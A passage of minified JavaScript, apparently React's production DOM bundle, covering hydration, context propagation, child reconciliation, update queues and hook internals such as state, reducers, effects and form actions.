Mi(e){throw Ri(fi(Error(i(418,1<arguments.length&&arguments[1]!==void 0&&arguments[1]?`text`:`HTML`,``)),e)),ji}function Ni(e){var t=e.stateNode,n=e.type,r=e.memoizedProps;switch(t[it]=e,t[at]=r,n){case`dialog`:$(`cancel`,t),$(`close`,t);break;case`iframe`:case`object`:case`embed`:$(`load`,t);break;case`video`:case`audio`:for(n=0;n<gd.length;n++)$(gd[n],t);break;case`source`:$(`error`,t);break;case`img`:case`image`:case`link`:$(`error`,t),$(`load`,t);break;case`details`:$(`toggle`,t);break;case`input`:$(`invalid`,t),Lt(t,r.value,r.defaultValue,r.checked,r.defaultChecked,r.type,r.name,!0);break;case`select`:$(`invalid`,t);break;case`textarea`:$(`invalid`,t),Vt(t,r.value,r.defaultValue,r.children)}n=r.children,typeof n!=`string`&&typeof n!=`number`&&typeof n!=`bigint`||t.textContent===``+n||!0===r.suppressHydrationWarning||jd(t.textContent,n)?(r.popover!=null&&($(`beforetoggle`,t),$(`toggle`,t)),r.onScroll!=null&&$(`scroll`,t),r.onScrollEnd!=null&&$(`scrollend`,t),r.onClick!=null&&(t.onclick=Xt),t=!0):t=!1,t||Mi(e,!0)}function Pi(e){for(Di=e.return;Di;)switch(Di.tag){case 5:case 31:case 13:Ai=!1;return;case 27:case 3:Ai=!0;return;default:Di=Di.return}}function Fi(e){if(e!==Di)return!1;if(!G)return Pi(e),G=!0,!1;var t=e.tag,n;if((n=t!==3&&t!==27)&&((n=t===5)&&(n=e.type,n=!(n!==`form`&&n!==`button`)||Ud(e.type,e.memoizedProps)),n=!n),n&&Oi&&Mi(e),Pi(e),t===13){if(e=e.memoizedState,e=e===null?null:e.dehydrated,!e)throw Error(i(317));Oi=uf(e)}else if(t===31){if(e=e.memoizedState,e=e===null?null:e.dehydrated,!e)throw Error(i(317));Oi=uf(e)}else t===27?(t=Oi,Zd(e.type)?(e=lf,lf=null,Oi=e):Oi=t):Oi=Di?cf(e.stateNode.nextSibling):null;return!0}function Ii(){Oi=Di=null,G=!1}function Li(){var e=ki;return e!==null&&(Xl===null?Xl=e:Xl.push.apply(Xl,e),ki=null),e}function Ri(e){ki===null?ki=[e]:ki.push(e)}var zi=ne(null),Bi=null,Vi=null;function Hi(e,t,n){B(zi,t._currentValue),t._currentValue=n}function Ui(e){e._currentValue=zi.current,z(zi)}function Wi(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)===t?r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t):(e.childLanes|=t,r!==null&&(r.childLanes|=t)),e===n)break;e=e.return}}function Gi(e,t,n,r){var a=e.child;for(a!==null&&(a.return=e);a!==null;){var o=a.dependencies;if(o!==null){var s=a.child;o=o.firstContext;a:for(;o!==null;){var c=o;o=a;for(var l=0;l<t.length;l++)if(c.context===t[l]){o.lanes|=n,c=o.alternate,c!==null&&(c.lanes|=n),Wi(o.return,n,e),r||(s=null);break a}o=c.next}}else if(a.tag===18){if(s=a.return,s===null)throw Error(i(341));s.lanes|=n,o=s.alternate,o!==null&&(o.lanes|=n),Wi(s,n,e),s=null}else s=a.child;if(s!==null)s.return=a;else for(s=a;s!==null;){if(s===e){s=null;break}if(a=s.sibling,a!==null){a.return=s.return,s=a;break}s=s.return}a=s}}function Ki(e,t,n,r){e=null;for(var a=t,o=!1;a!==null;){if(!o){if(a.flags&524288)o=!0;else if(a.flags&262144)break}if(a.tag===10){var s=a.alternate;if(s===null)throw Error(i(387));if(s=s.memoizedProps,s!==null){var c=a.type;gr(a.pendingProps.value,s.value)||(e===null?e=[c]:e.push(c))}}else if(a===oe.current){if(s=a.alternate,s===null)throw Error(i(387));s.memoizedState.memoizedState!==a.memoizedState.memoizedState&&(e===null?e=[Qf]:e.push(Qf))}a=a.return}e!==null&&Gi(t,e,n,r),t.flags|=262144}function qi(e){for(e=e.firstContext;e!==null;){if(!gr(e.context._currentValue,e.memoizedValue))return!0;e=e.next}return!1}function Ji(e){Bi=e,Vi=null,e=e.dependencies,e!==null&&(e.firstContext=null)}function Yi(e){return Zi(Bi,e)}function Xi(e,t){return Bi===null&&Ji(e),Zi(e,t)}function Zi(e,t){var n=t._currentValue;if(t={context:t,memoizedValue:n,next:null},Vi===null){if(e===null)throw Error(i(308));Vi=t,e.dependencies={lanes:0,firstContext:t},e.flags|=524288}else Vi=Vi.next=t;return n}var Qi=typeof AbortController<`u`?AbortController:function(){var e=[],t=this.signal={aborted:!1,addEventListener:function(t,n){e.push(n)}};this.abort=function(){t.aborted=!0,e.forEach(function(e){return e()})}},$i=t.unstable_scheduleCallback,ea=t.unstable_NormalPriority,ta={$$typeof:C,Consumer:null,Provider:null,_currentValue:null,_currentValue2:null,_threadCount:0};function na(){return{controller:new Qi,data:new Map,refCount:0}}function ra(e){e.refCount--,e.refCount===0&&$i(ea,function(){e.controller.abort()})}var ia=null,aa=0,oa=0,sa=null;function ca(e,t){if(ia===null){var n=ia=[];aa=0,oa=ud(),sa={status:`pending`,value:void 0,then:function(e){n.push(e)}}}return aa++,t.then(la,la),t}function la(){if(--aa===0&&ia!==null){sa!==null&&(sa.status=`fulfilled`);var e=ia;ia=null,oa=0,sa=null;for(var t=0;t<e.length;t++)(0,e[t])()}}function ua(e,t){var n=[],r={status:`pending`,value:null,reason:null,then:function(e){n.push(e)}};return e.then(function(){r.status=`fulfilled`,r.value=t;for(var e=0;e<n.length;e++)(0,n[e])(t)},function(e){for(r.status=`rejected`,r.reason=e,e=0;e<n.length;e++)(0,n[e])(void 0)}),r}var da=I.S;I.S=function(e,t){$l=Ce(),typeof t==`object`&&t&&typeof t.then==`function`&&ca(e,t),da!==null&&da(e,t)};var fa=ne(null);function pa(){var e=fa.current;return e===null?Ll.pooledCache:e}function ma(e,t){t===null?B(fa,fa.current):B(fa,t.pool)}function ha(){var e=pa();return e===null?null:{parent:ta._currentValue,pool:e}}var ga=Error(i(460)),_a=Error(i(474)),va=Error(i(542)),ya={then:function(){}};function ba(e){return e=e.status,e===`fulfilled`||e===`rejected`}function xa(e,t,n){switch(n=e[n],n===void 0?e.push(t):n!==t&&(t.then(Xt,Xt),t=n),t.status){case`fulfilled`:return t.value;case`rejected`:throw e=t.reason,Ta(e),e;default:if(typeof t.status==`string`)t.then(Xt,Xt);else{if(e=Ll,e!==null&&100<e.shellSuspendCounter)throw Error(i(482));e=t,e.status=`pending`,e.then(function(e){if(t.status===`pending`){var n=t;n.status=`fulfilled`,n.value=e}},function(e){if(t.status===`pending`){var n=t;n.status=`rejected`,n.reason=e}})}switch(t.status){case`fulfilled`:return t.value;case`rejected`:throw e=t.reason,Ta(e),e}throw Ca=t,ga}}function Sa(e){try{var t=e._init;return t(e._payload)}catch(e){throw typeof e==`object`&&e&&typeof e.then==`function`?(Ca=e,ga):e}}var Ca=null;function wa(){if(Ca===null)throw Error(i(459));var e=Ca;return Ca=null,e}function Ta(e){if(e===ga||e===va)throw Error(i(483))}var Ea=null,Da=0;function Oa(e){var t=Da;return Da+=1,Ea===null&&(Ea=[]),xa(Ea,e,t)}function ka(e,t){t=t.props.ref,e.ref=t===void 0?null:t}function Aa(e,t){throw t.$$typeof===g?Error(i(525)):(e=Object.prototype.toString.call(t),Error(i(31,e===`[object Object]`?`object with keys {`+Object.keys(t).join(`, `)+`}`:e)))}function ja(e){function t(t,n){if(e){var r=t.deletions;r===null?(t.deletions=[n],t.flags|=16):r.push(n)}}function n(n,r){if(!e)return null;for(;r!==null;)t(n,r),r=r.sibling;return null}function r(e){for(var t=new Map;e!==null;)e.key===null?t.set(e.index,e):t.set(e.key,e),e=e.sibling;return t}function a(e,t){return e=ii(e,t),e.index=0,e.sibling=null,e}function o(t,n,r){return t.index=r,e?(r=t.alternate,r===null?(t.flags|=67108866,n):(r=r.index,r<n?(t.flags|=67108866,n):r)):(t.flags|=1048576,n)}function s(t){return e&&t.alternate===null&&(t.flags|=67108866),t}function c(e,t,n,r){return t===null||t.tag!==6?(t=ci(n,e.mode,r),t.return=e,t):(t=a(t,n),t.return=e,t)}function l(e,t,n,r){var i=n.type;return i===y?d(e,t,n.props.children,r,n.key):t!==null&&(t.elementType===i||typeof i==`object`&&i&&i.$$typeof===O&&Sa(i)===t.type)?(t=a(t,n.props),ka(t,n),t.return=e,t):(t=oi(n.type,n.key,n.props,null,e.mode,r),ka(t,n),t.return=e,t)}function u(e,t,n,r){return t===null||t.tag!==4||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?(t=ui(n,e.mode,r),t.return=e,t):(t=a(t,n.children||[]),t.return=e,t)}function d(e,t,n,r,i){return t===null||t.tag!==7?(t=si(n,e.mode,r,i),t.return=e,t):(t=a(t,n),t.return=e,t)}function f(e,t,n){if(typeof t==`string`&&t!==``||typeof t==`number`||typeof t==`bigint`)return t=ci(``+t,e.mode,n),t.return=e,t;if(typeof t==`object`&&t){switch(t.$$typeof){case _:return n=oi(t.type,t.key,t.props,null,e.mode,n),ka(n,t),n.return=e,n;case v:return t=ui(t,e.mode,n),t.return=e,t;case O:return t=Sa(t),f(e,t,n)}if(F(t)||M(t))return t=si(t,e.mode,n,null),t.return=e,t;if(typeof t.then==`function`)return f(e,Oa(t),n);if(t.$$typeof===C)return f(e,Xi(e,t),n);Aa(e,t)}return null}function p(e,t,n,r){var i=t===null?null:t.key;if(typeof n==`string`&&n!==``||typeof n==`number`||typeof n==`bigint`)return i===null?c(e,t,``+n,r):null;if(typeof n==`object`&&n){switch(n.$$typeof){case _:return n.key===i?l(e,t,n,r):null;case v:return n.key===i?u(e,t,n,r):null;case O:return n=Sa(n),p(e,t,n,r)}if(F(n)||M(n))return i===null?d(e,t,n,r,null):null;if(typeof n.then==`function`)return p(e,t,Oa(n),r);if(n.$$typeof===C)return p(e,t,Xi(e,n),r);Aa(e,n)}return null}function m(e,t,n,r,i){if(typeof r==`string`&&r!==``||typeof r==`number`||typeof r==`bigint`)return e=e.get(n)||null,c(t,e,``+r,i);if(typeof r==`object`&&r){switch(r.$$typeof){case _:return e=e.get(r.key===null?n:r.key)||null,l(t,e,r,i);case v:return e=e.get(r.key===null?n:r.key)||null,u(t,e,r,i);case O:return r=Sa(r),m(e,t,n,r,i)}if(F(r)||M(r))return e=e.get(n)||null,d(t,e,r,i,null);if(typeof r.then==`function`)return m(e,t,n,Oa(r),i);if(r.$$typeof===C)return m(e,t,n,Xi(t,r),i);Aa(t,r)}return null}function h(i,a,s,c){for(var l=null,u=null,d=a,h=a=0,g=null;d!==null&&h<s.length;h++){d.index>h?(g=d,d=null):g=d.sibling;var _=p(i,d,s[h],c);if(_===null){d===null&&(d=g);break}e&&d&&_.alternate===null&&t(i,d),a=o(_,a,h),u===null?l=_:u.sibling=_,u=_,d=g}if(h===s.length)return n(i,d),G&&Si(i,h),l;if(d===null){for(;h<s.length;h++)d=f(i,s[h],c),d!==null&&(a=o(d,a,h),u===null?l=d:u.sibling=d,u=d);return G&&Si(i,h),l}for(d=r(d);h<s.length;h++)g=m(d,i,h,s[h],c),g!==null&&(e&&g.alternate!==null&&d.delete(g.key===null?h:g.key),a=o(g,a,h),u===null?l=g:u.sibling=g,u=g);return e&&d.forEach(function(e){return t(i,e)}),G&&Si(i,h),l}function g(a,s,c,l){if(c==null)throw Error(i(151));for(var u=null,d=null,h=s,g=s=0,_=null,v=c.next();h!==null&&!v.done;g++,v=c.next()){h.index>g?(_=h,h=null):_=h.sibling;var y=p(a,h,v.value,l);if(y===null){h===null&&(h=_);break}e&&h&&y.alternate===null&&t(a,h),s=o(y,s,g),d===null?u=y:d.sibling=y,d=y,h=_}if(v.done)return n(a,h),G&&Si(a,g),u;if(h===null){for(;!v.done;g++,v=c.next())v=f(a,v.value,l),v!==null&&(s=o(v,s,g),d===null?u=v:d.sibling=v,d=v);return G&&Si(a,g),u}for(h=r(h);!v.done;g++,v=c.next())v=m(h,a,g,v.value,l),v!==null&&(e&&v.alternate!==null&&h.delete(v.key===null?g:v.key),s=o(v,s,g),d===null?u=v:d.sibling=v,d=v);return e&&h.forEach(function(e){return t(a,e)}),G&&Si(a,g),u}function b(e,r,o,c){if(typeof o==`object`&&o&&o.type===y&&o.key===null&&(o=o.props.children),typeof o==`object`&&o){switch(o.$$typeof){case _:a:{for(var l=o.key;r!==null;){if(r.key===l){if(l=o.type,l===y){if(r.tag===7){n(e,r.sibling),c=a(r,o.props.children),c.return=e,e=c;break a}}else if(r.elementType===l||typeof l==`object`&&l&&l.$$typeof===O&&Sa(l)===r.type){n(e,r.sibling),c=a(r,o.props),ka(c,o),c.return=e,e=c;break a}n(e,r);break}else t(e,r);r=r.sibling}o.type===y?(c=si(o.props.children,e.mode,c,o.key),c.return=e,e=c):(c=oi(o.type,o.key,o.props,null,e.mode,c),ka(c,o),c.return=e,e=c)}return s(e);case v:a:{for(l=o.key;r!==null;){if(r.key===l)if(r.tag===4&&r.stateNode.containerInfo===o.containerInfo&&r.stateNode.implementation===o.implementation){n(e,r.sibling),c=a(r,o.children||[]),c.return=e,e=c;break a}else{n(e,r);break}else t(e,r);r=r.sibling}c=ui(o,e.mode,c),c.return=e,e=c}return s(e);case O:return o=Sa(o),b(e,r,o,c)}if(F(o))return h(e,r,o,c);if(M(o)){if(l=M(o),typeof l!=`function`)throw Error(i(150));return o=l.call(o),g(e,r,o,c)}if(typeof o.then==`function`)return b(e,r,Oa(o),c);if(o.$$typeof===C)return b(e,r,Xi(e,o),c);Aa(e,o)}return typeof o==`string`&&o!==``||typeof o==`number`||typeof o==`bigint`?(o=``+o,r!==null&&r.tag===6?(n(e,r.sibling),c=a(r,o),c.return=e,e=c):(n(e,r),c=ci(o,e.mode,c),c.return=e,e=c),s(e)):n(e,r)}return function(e,t,n,r){try{Da=0;var i=b(e,t,n,r);return Ea=null,i}catch(t){if(t===ga||t===va)throw t;var a=ni(29,t,null,e.mode);return a.lanes=r,a.return=e,a}}}var Ma=ja(!0),Na=ja(!1),Pa=!1;function Fa(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function Ia(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,callbacks:null})}function La(e){return{lane:e,tag:0,payload:null,callback:null,next:null}}function Ra(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,J&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,t=$r(e),Qr(e,null,n),t}return Yr(e,r,t,n),$r(e)}function za(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,n&4194048)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ze(e,n)}}function Ba(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={lane:n.lane,tag:n.tag,payload:n.payload,callback:null,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,callbacks:r.callbacks},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}var Va=!1;function Ha(){if(Va){var e=sa;if(e!==null)throw e}}function Ua(e,t,n,r){Va=!1;var i=e.updateQueue;Pa=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,s=i.shared.pending;if(s!==null){i.shared.pending=null;var c=s,l=c.next;c.next=null,o===null?a=l:o.next=l,o=c;var u=e.alternate;u!==null&&(u=u.updateQueue,s=u.lastBaseUpdate,s!==o&&(s===null?u.firstBaseUpdate=l:s.next=l,u.lastBaseUpdate=c))}if(a!==null){var d=i.baseState;o=0,u=l=c=null,s=a;do{var f=s.lane&-536870913,p=f!==s.lane;if(p?(X&f)===f:(r&f)===f){f!==0&&f===oa&&(Va=!0),u!==null&&(u=u.next={lane:0,tag:s.tag,payload:s.payload,callback:null,next:null});a:{var m=e,g=s;f=t;var _=n;switch(g.tag){case 1:if(m=g.payload,typeof m==`function`){d=m.call(_,d,f);break a}d=m;break a;case 3:m.flags=m.flags&-65537|128;case 0:if(m=g.payload,f=typeof m==`function`?m.call(_,d,f):m,f==null)break a;d=h({},d,f);break a;case 2:Pa=!0}}f=s.callback,f!==null&&(e.flags|=64,p&&(e.flags|=8192),p=i.callbacks,p===null?i.callbacks=[f]:p.push(f))}else p={lane:f,tag:s.tag,payload:s.payload,callback:s.callback,next:null},u===null?(l=u=p,c=d):u=u.next=p,o|=f;if(s=s.next,s===null){if(s=i.shared.pending,s===null)break;p=s,s=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(1);u===null&&(c=d),i.baseState=c,i.firstBaseUpdate=l,i.lastBaseUpdate=u,a===null&&(i.shared.lanes=0),Wl|=o,e.lanes=o,e.memoizedState=d}}function Wa(e,t){if(typeof e!=`function`)throw Error(i(191,e));e.call(t)}function Ga(e,t){var n=e.callbacks;if(n!==null)for(e.callbacks=null,e=0;e<n.length;e++)Wa(n[e],t)}var Ka=ne(null),qa=ne(0);function Ja(e,t){e=Hl,B(qa,e),B(Ka,t),Hl=e|t.baseLanes}function Ya(){B(qa,Hl),B(Ka,Ka.current)}function Xa(){Hl=qa.current,z(Ka),z(qa)}var Za=ne(null),Qa=null;function $a(e){var t=e.alternate;B(io,io.current&1),B(Za,e),Qa===null&&(t===null||Ka.current!==null||t.memoizedState!==null)&&(Qa=e)}function eo(e){B(io,io.current),B(Za,e),Qa===null&&(Qa=e)}function to(e){e.tag===22?(B(io,io.current),B(Za,e),Qa===null&&(Qa=e)):no(e)}function no(){B(io,io.current),B(Za,Za.current)}function ro(e){z(Za),Qa===e&&(Qa=null),z(io)}var io=ne(0);function ao(e){for(var t=e;t!==null;){if(t.tag===13){var n=t.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||af(n)||of(n)))return t}else if(t.tag===19&&(t.memoizedProps.revealOrder===`forwards`||t.memoizedProps.revealOrder===`backwards`||t.memoizedProps.revealOrder===`unstable_legacy-backwards`||t.memoizedProps.revealOrder===`together`)){if(t.flags&128)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var oo=0,K=null,q=null,so=null,co=!1,lo=!1,uo=!1,fo=0,po=0,mo=null,ho=0;function go(){throw Error(i(321))}function _o(e,t){if(t===null)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!gr(e[n],t[n]))return!1;return!0}function vo(e,t,n,r,i,a){return oo=a,K=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,I.H=e===null||e.memoizedState===null?Fs:Is,uo=!1,a=n(r,i),uo=!1,lo&&(a=bo(t,n,r,i)),yo(e),a}function yo(e){I.H=Ps;var t=q!==null&&q.next!==null;if(oo=0,so=q=K=null,co=!1,po=0,mo=null,t)throw Error(i(300));e===null||$s||(e=e.dependencies,e!==null&&qi(e)&&($s=!0))}function bo(e,t,n,r){K=e;var a=0;do{if(lo&&(mo=null),po=0,lo=!1,25<=a)throw Error(i(301));if(a+=1,so=q=null,e.updateQueue!=null){var o=e.updateQueue;o.lastEffect=null,o.events=null,o.stores=null,o.memoCache!=null&&(o.memoCache.index=0)}I.H=Ls,o=t(n,r)}while(lo);return o}function xo(){var e=I.H,t=e.useState()[0];return t=typeof t.then==`function`?Oo(t):t,e=e.useState()[0],(q===null?null:q.memoizedState)!==e&&(K.flags|=1024),t}function So(){var e=fo!==0;return fo=0,e}function Co(e,t,n){t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~n}function wo(e){if(co){for(e=e.memoizedState;e!==null;){var t=e.queue;t!==null&&(t.pending=null),e=e.next}co=!1}oo=0,so=q=K=null,lo=!1,po=fo=0,mo=null}function To(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return so===null?K.memoizedState=so=e:so=so.next=e,so}function Eo(){if(q===null){var e=K.alternate;e=e===null?null:e.memoizedState}else e=q.next;var t=so===null?K.memoizedState:so.next;if(t!==null)so=t,q=e;else{if(e===null)throw K.alternate===null?Error(i(467)):Error(i(310));q=e,e={memoizedState:q.memoizedState,baseState:q.baseState,baseQueue:q.baseQueue,queue:q.queue,next:null},so===null?K.memoizedState=so=e:so=so.next=e}return so}function Do(){return{lastEffect:null,events:null,stores:null,memoCache:null}}function Oo(e){var t=po;return po+=1,mo===null&&(mo=[]),e=xa(mo,e,t),t=K,(so===null?t.memoizedState:so.next)===null&&(t=t.alternate,I.H=t===null||t.memoizedState===null?Fs:Is),e}function ko(e){if(typeof e==`object`&&e){if(typeof e.then==`function`)return Oo(e);if(e.$$typeof===C)return Yi(e)}throw Error(i(438,String(e)))}function Ao(e){var t=null,n=K.updateQueue;if(n!==null&&(t=n.memoCache),t==null){var r=K.alternate;r!==null&&(r=r.updateQueue,r!==null&&(r=r.memoCache,r!=null&&(t={data:r.data.map(function(e){return e.slice()}),index:0})))}if(t??={data:[],index:0},n===null&&(n=Do(),K.updateQueue=n),n.memoCache=t,n=t.data[t.index],n===void 0)for(n=t.data[t.index]=Array(e),r=0;r<e;r++)n[r]=A;return t.index++,n}function jo(e,t){return typeof t==`function`?t(e):t}function Mo(e){return No(Eo(),q,e)}function No(e,t,n){var r=e.queue;if(r===null)throw Error(i(311));r.lastRenderedReducer=n;var a=e.baseQueue,o=r.pending;if(o!==null){if(a!==null){var s=a.next;a.next=o.next,o.next=s}t.baseQueue=a=o,r.pending=null}if(o=e.baseState,a===null)e.memoizedState=o;else{t=a.next;var c=s=null,l=null,u=t,d=!1;do{var f=u.lane&-536870913;if(f===u.lane?(oo&f)===f:(X&f)===f){var p=u.revertLane;if(p===0)l!==null&&(l=l.next={lane:0,revertLane:0,gesture:null,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null}),f===oa&&(d=!0);else if((oo&p)===p){u=u.next,p===oa&&(d=!0);continue}else f={lane:0,revertLane:u.revertLane,gesture:null,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null},l===null?(c=l=f,s=o):l=l.next=f,K.lanes|=p,Wl|=p;f=u.action,uo&&n(o,f),o=u.hasEagerState?u.eagerState:n(o,f)}else p={lane:f,revertLane:u.revertLane,gesture:u.gesture,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null},l===null?(c=l=p,s=o):l=l.next=p,K.lanes|=f,Wl|=f;u=u.next}while(u!==null&&u!==t);if(l===null?s=o:l.next=c,!gr(o,e.memoizedState)&&($s=!0,d&&(n=sa,n!==null)))throw n;e.memoizedState=o,e.baseState=s,e.baseQueue=l,r.lastRenderedState=o}return a===null&&(r.lanes=0),[e.memoizedState,r.dispatch]}function Po(e){var t=Eo(),n=t.queue;if(n===null)throw Error(i(311));n.lastRenderedReducer=e;var r=n.dispatch,a=n.pending,o=t.memoizedState;if(a!==null){n.pending=null;var s=a=a.next;do o=e(o,s.action),s=s.next;while(s!==a);gr(o,t.memoizedState)||($s=!0),t.memoizedState=o,t.baseQueue===null&&(t.baseState=o),n.lastRenderedState=o}return[o,r]}function Fo(e,t,n){var r=K,a=Eo(),o=G;if(o){if(n===void 0)throw Error(i(407));n=n()}else n=t();var s=!gr((q||a).memoizedState,n);if(s&&(a.memoizedState=n,$s=!0),a=a.queue,os(Ro.bind(null,r,a,e),[e]),a.getSnapshot!==t||s||so!==null&&so.memoizedState.tag&1){if(r.flags|=2048,ts(9,{destroy:void 0},Lo.bind(null,r,a,n,t),null),Ll===null)throw Error(i(349));o||oo&127||Io(r,t,n)}return n}function Io(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},t=K.updateQueue,t===null?(t=Do(),K.updateQueue=t,t.stores=[e]):(n=t.stores,n===null?t.stores=[e]:n.push(e))}function Lo(e,t,n,r){t.value=n,t.getSnapshot=r,zo(t)&&Bo(e)}function Ro(e,t,n){return n(function(){zo(t)&&Bo(e)})}function zo(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!gr(e,n)}catch{return!0}}function Bo(e){var t=Zr(e,2);t!==null&&mu(t,e,2)}function Vo(e){var t=To();if(typeof e==`function`){var n=e;if(e=n(),uo){Pe(!0);try{n()}finally{Pe(!1)}}}return t.memoizedState=t.baseState=e,t.queue={pending:null,lanes:0,dispatch:null,lastRenderedReducer:jo,lastRenderedState:e},t}function Ho(e,t,n,r){return e.baseState=n,No(e,q,typeof r==`function`?r:jo)}function Uo(e,t,n,r,a){if(js(e))throw Error(i(485));if(e=t.action,e!==null){var o={payload:a,action:e,next:null,isTransition:!0,status:`pending`,value:null,reason:null,listeners:[],then:function(e){o.listeners.push(e)}};I.T===null?o.isTransition=!1:n(!0),r(o),n=t.pending,n===null?(o.next=t.pending=o,Wo(t,o)):(o.next=n.next,t.pending=n.next=o)}}function Wo(e,t){var n=t.action,r=t.payload,i=e.state;if(t.isTransition){var a=I.T,o={};I.T=o;try{var s=n(i,r),c=I.S;c!==null&&c(o,s),Go(e,t,s)}catch(n){qo(e,t,n)}finally{a!==null&&o.types!==null&&(a.types=o.types),I.T=a}}else try{a=n(i,r),Go(e,t,a)}catch(n){qo(e,t,n)}}function Go(e,t,n){typeof n==`object`&&n&&typeof n.then==`function`?n.then(function(n){Ko(e,t,n)},function(n){return qo(e,t,n)}):Ko(e,t,n)}function Ko(e,t,n){t.status=`fulfilled`,t.value=n,Jo(t),e.state=n,t=e.pending,t!==null&&(n=t.next,n===t?e.pending=null:(n=n.next,t.next=n,Wo(e,n)))}function qo(e,t,n){var r=e.pending;if(e.pending=null,r!==null){r=r.next;do t.status=`rejected`,t.reason=n,Jo(t),t=t.next;while(t!==r)}e.action=null}function Jo(e){e=e.listeners;for(var t=0;t<e.length;t++)(0,e[t])()}function Yo(e,t){return t}function Xo(e,t){if(G){var n=Ll.formState;if(n!==null){a:{var r=K;if(G){if(Oi){b:{for(var i=Oi,a=Ai;i.nodeType!==8;){if(!a){i=null;break b}if(i=cf(i.nextSibling),i===null){i=null;break b}}a=i.data,i=a===`F!`||a===`F`?i:null}if(i){Oi=cf(i.nextSibling),r=i.data===`F!`;break a}}Mi(r)}r=!1}r&&(t=n[0])}}return n=To(),n.memoizedState=n.baseState=t,r={pending:null,lanes:0,dispatch:null,lastRenderedReducer:Yo,lastRenderedState:t},n.queue=r,n=Os.bind(null,K,r),r.dispatch=n,r=Vo(!1),a=As.bind(null,K,!1,r.queue),r=To(),i={state:t,dispatch:null,action:e,pending:null},r.queue=i,n=Uo.bind(null,K,i,a,n),i.dispatch=n,r.memoizedState=e,[t,n,!1]}function Zo(e){return Qo(Eo(),q,e)}function Qo(e,t,n){if(t=No(e,t,Yo)[0],e=Mo(jo)[0],typeof t==`object`&&t&&typeof t.then==`function`)try{var r=Oo(t)}catch(e){throw e===ga?va:e}else r=t;t=Eo();var i=t.queue,a=i.dispatch;return n!==t.memoizedState&&(K.flags|=2048,ts(9,{destroy:void 0},$o.bind(null,i,n),null)),[r,a,e]}function $o(e,t){e.action=t}function es(e){var t=Eo(),n=q;if(n!==null)return Qo(t,n,e);Eo(),t=t.memoizedState,n=Eo();var r=n.queue.dispatch;return n.memoizedState=e,[t,r,!1]}function ts(e,t,n,r){return e={tag:e,create:n,deps:r,inst:t,next:null},t=K.updateQueue,t===null&&(t=Do(),K.updateQueue=t),n=t.lastEffect,n===null?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e),e}function ns(){return Eo().memoizedState}function rs(e,t,n,r){var i=To();K.flags|=e,i.memoizedState=ts(1|t,{destroy:void 0},n,r===void 0?null:r)}function is(e,t,n,r){var i=Eo();r=r===void 0?null:r;var a=i.memoizedState.inst;q!==null&&r!==null&&_o(r,q.memoizedState.deps)?i.memoizedState=ts(t,a,n,r):(K.flags|=e,i.memoizedState=ts(1|t,a,n,r))}function as(e,t){rs(8390656,8,e,t)}function os(e,t){is(2048,8,e,t)}function ss(e){K.flags|=4;var t=K.updateQueue;if(t===null)t=Do(),K.updateQueue=t,t.events=[e];else{var n=t.events;n===null?t.events=[e]:n.push(e)}}function cs(e){var t=Eo().memoizedState;return ss({ref:t,nextImpl:e}),function(){if(J&2)throw Error(i(440));return t.impl.apply(void 0,arguments)}}function ls(e,t){return is(4,2,e,t)}function us(e,t){return is(4,4,e,t)}function ds(e,t){if(typeof t==`function`){e=e();var n=t(e);return function(){typeof n==`function`?n():t(null)}}if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function fs(e,t,n){n=n==null?null:n.concat([e]),is(4,4,ds.bind(null,t,e),n)}function ps(){}function ms(e,t){var n=Eo();t=t===void 0?null:t;var r=n.memoizedState;return t!==null&&_o(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function hs(e,t){var n=Eo();t=t===void 0?null:t;var r=n.memoizedState;if(t!==null&&_o(t,r[1]))return r[0];if(r=e(),uo){Pe(!0);try{e()}finally{Pe(!1)}}return n.memoizedState=[r,t],r}function gs(e,t,n){return n===void 0||oo&1073741824&&!(X&261930)?e.memoizedState=t:(e.memoizedState=n,e=pu(),K.lanes|=e,Wl|=e,n)}function _s(e,t,n,r){return gr(n,t)?n:Ka.current===null?!(oo&42)||oo&1073741824&&!(X&261930)?($s=!0,e.memoizedState=n):(e=pu(),K.lanes|=e,Wl|=e,t):(e=gs(e,n,r),gr(e,t)||($s=!0),e)}function vs(e,t,n,r,i){var a=L.p;L.p=a!==0&&8>a?a:8;var o=I.T,s={};I.T=s,As(e,!1,t,n);try{var 